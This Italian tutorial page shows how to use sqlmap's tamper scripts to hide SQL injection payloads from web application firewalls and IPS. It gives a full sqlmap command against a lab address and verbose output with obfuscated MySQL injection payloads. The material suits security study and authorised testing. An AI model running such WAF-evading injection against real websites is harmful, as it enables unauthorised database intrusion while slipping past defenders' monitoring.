Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Tampering con sqlmap

Vediamo come offuscare il payload inviato al database da attaccare
Vediamo come offuscare il payload inviato al database da attaccare
Link copiato negli appunti

Tecniche avanzate: Tampering

SQLMap di default non utilizza tecniche di offuscamento del payload inviato, questo comporta l'essere facilmente individuati da tutti quei tools che monitorano le richieste fatte al web server, ci riferiamo ai web application firewall (WAF) o IPS. In alcuni casi è possibile aggirare il problema utilizzando alcune tecniche implementate in SQLMap grazie ad alcuni scripts, per una lista completa da terminale digitare:

user@backbox:~$ ls -1 /usr/share/sqlmap/tamper/*.py 
/usr/share/sqlmap/tamper/between.py 
/usr/share/sqlmap/tamper/charencode.py 
/usr/share/sqlmap/tamper/charunicodeencode.py 
/usr/share/sqlmap/tamper/ifnull2ifisnull.py 
/usr/share/sqlmap/tamper/__init__.py 
/usr/share/sqlmap/tamper/randomcase.py 
/usr/share/sqlmap/tamper/randomcomments.py 
/usr/share/sqlmap/tamper/space2comment.py 
/usr/share/sqlmap/tamper/space2plus.py 
/usr/share/sqlmap/tamper/space2randomblank.py

Vediamo ora un esempio in cui ipotizziamo l'utilizzo di un DMBS di tipo MySQL ed il carattere >, gli spazi e le stringhe SELECT sono bannati, il comando da lanciare sarà il seguente:

user@backbox:~$ cd /usr/share/sqlmap/
user@backbox:~$ sqlmap -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper 
  tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING 
clause' injectable 
[…]

Ti consigliamo anche